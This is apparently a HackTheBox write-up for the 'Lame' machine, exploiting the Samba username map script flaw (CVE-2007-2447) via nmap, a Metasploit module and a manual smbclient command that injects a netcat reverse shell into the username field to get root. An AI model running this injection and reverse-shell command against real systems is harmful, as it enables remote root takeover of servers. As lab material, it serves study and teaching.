HackTheBox · Medium

Lame

nmapmetasploitsmbclient

CVE-2007-2447 — Samba Username Map Script

Samba versions 3.0.0 through 3.0.25rc3 allow remote code execution when using the non-default "username map script" configuration option. By specifying a username containing shell metacharacters, attackers can execute arbitrary commands. The flaw requires no authentication and runs with the same privileges as the Samba daemon — typically root.

CVSS Score: 10.0 (Critical) — No auth required, remote code execution as root

Nmap Service Scan

Identify all running services and their versions — version detection is critical here.

$ nmap -sV -sC -p- --min-rate 5000 10.10.10.3
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba smbd 3.0.20
3632/tcp open  distccd     distccd v1
| smb-security-mode:
|   account_used: guest
|   authentication_level: user

Metasploit — usermap_script

Use the Metasploit module for CVE-2007-2447 to get an instant root shell.

$ msfconsole
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS 10.10.10.3
msf6 exploit(...) > set LHOST 10.10.14.x
msf6 exploit(...) > run
[*] Started reverse TCP handler on 10.10.14.x:4444
[*] Command shell session 1 opened
root@lame:/# # direct root shell — no privesc needed

Manual Exploitation (without Metasploit)

Replicate the exploit manually using smbclient to understand the underlying mechanism.

# Start netcat listener
$ nc -lvnp 4444
# Exploit via smbclient — inject command in username field
$ smbclient //10.10.10.3/tmp \
  -U "./=`nohup nc -e /bin/bash 10.10.14.x 4444`"
# Listener receives connection:
connect to [10.10.14.x] from (UNKNOWN) [10.10.10.3]
$ id
uid=0(root) gid=0(root)

Back to CTF